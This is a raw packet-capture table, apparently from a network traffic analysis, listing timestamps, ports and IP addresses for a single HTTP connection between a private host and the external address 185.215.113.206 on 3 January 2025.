Jan 3, 2025 15:21:34.868316889 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868333101 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868344069 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868350983 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868356943 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868369102 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868369102 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868386984 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868391991 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868410110 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868417025 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868442059 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868463993 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868520021 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868531942 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868555069 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868561983 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868573904 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868581057 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868588924 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868594885 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868607044 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868617058 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868619919 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868637085 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868649960 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868653059 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868676901 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868686914 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868700027 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868711948 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868715048 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868727922 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868737936 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868745089 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868751049 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868760109 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868787050 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868822098 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868834019 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868844986 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868866920 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868885994 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868931055 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868942022 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868952990 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868968964 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868977070 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868982077 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.868990898 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868997097 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.868997097 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.869008064 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.869019985 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.869024992 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.869035006 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.869045973 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.869051933 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.869069099 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.869093895 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912373066 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912410021 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912422895 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912436008 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912445068 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912456036 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912470102 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912475109 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912483931 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912497997 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912508965 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912518024 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912549019 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912575006 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912708998 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912724018 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912734985 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912745953 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912749052 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912775993 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912776947 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912790060 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912803888 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912815094 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912822962 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912828922 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912836075 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912842035 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912859917 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912863016 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912875891 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912893057 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912903070 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912909031 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912925959 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912935019 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912939072 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912950993 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912957907 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912962914 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912976027 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.912991047 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.912993908 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.913003922 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913014889 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913027048 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913038015 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913039923 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.913049936 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913055897 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.913064003 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913075924 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913083076 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.913090944 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.913110971 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.913129091 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955638885 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955682039 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955693960 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955707073 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955718994 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955740929 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955741882 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955755949 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955766916 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955768108 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955782890 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955801010 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955822945 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955923080 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955935001 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955945969 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955961943 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.955971003 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.955987930 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956006050 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956012964 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956020117 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956042051 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956068039 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956093073 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956104994 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956130028 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956134081 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956146955 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956156969 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956161022 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956172943 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956177950 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956198931 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956203938 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956222057 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956235886 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956235886 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956248999 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956263065 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956264019 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956275940 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956284046 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956290007 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956300974 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956300974 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956316948 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956326008 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956336975 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956345081 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956357002 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956368923 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956373930 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956402063 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956409931 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956423044 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956432104 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956434965 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956445932 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956449032 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956461906 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956463099 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956481934 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956505060 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956516981 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956533909 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956543922 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956557035 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956558943 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956569910 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956578970 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956583023 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956595898 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956603050 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956620932 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956646919 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956659079 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956686020 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956696033 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956696987 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956710100 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956721067 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956722021 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956733942 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956733942 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956752062 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956758976 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956779003 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956783056 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956798077 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956804991 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956808090 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956820965 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956839085 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956888914 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956899881 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956923962 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956923962 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956942081 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956954956 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956970930 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956973076 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956984043 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.956986904 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.956995964 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957000017 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957007885 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957019091 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957048893 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957077980 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957089901 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957101107 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957113028 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957124949 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957125902 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957150936 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957166910 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957168102 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957181931 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957206011 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957279921 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957290888 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957303047 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957329988 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957353115 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957369089 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957380056 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957391024 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957403898 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957407951 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957418919 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957422018 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957433939 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957437038 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957447052 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957458019 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957464933 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957482100 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957492113 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957494974 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957504034 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957515955 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:34.957530975 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957544088 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:34.957567930 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.000858068 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000907898 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000920057 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000932932 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000945091 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000962019 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.000965118 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.000977039 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001005888 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001027107 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001530886 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001542091 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001563072 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001574993 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001585960 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001589060 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001600027 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001609087 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001612902 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001626968 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001637936 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001643896 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001661062 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001672029 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001684904 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001694918 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001704931 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001705885 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001718998 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001729012 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001746893 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001760960 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001761913 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001775980 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001789093 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001790047 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001800060 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001811981 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001812935 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001825094 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001836061 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001842976 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001847029 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001857042 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001861095 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001873016 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001873970 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001884937 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001895905 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001899958 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001909971 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001924038 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.001924992 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001951933 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.001961946 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044444084 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044470072 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044487953 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044500113 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044512033 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044523954 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044534922 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044533014 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044548988 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044569016 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044574976 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044586897 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044598103 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044600964 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044610977 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044621944 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044625044 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044636965 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044642925 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044650078 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044661999 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044673920 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:35.044687986 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:35.044698954 CET	49873	80	192.168.2.6	185.215.113.206
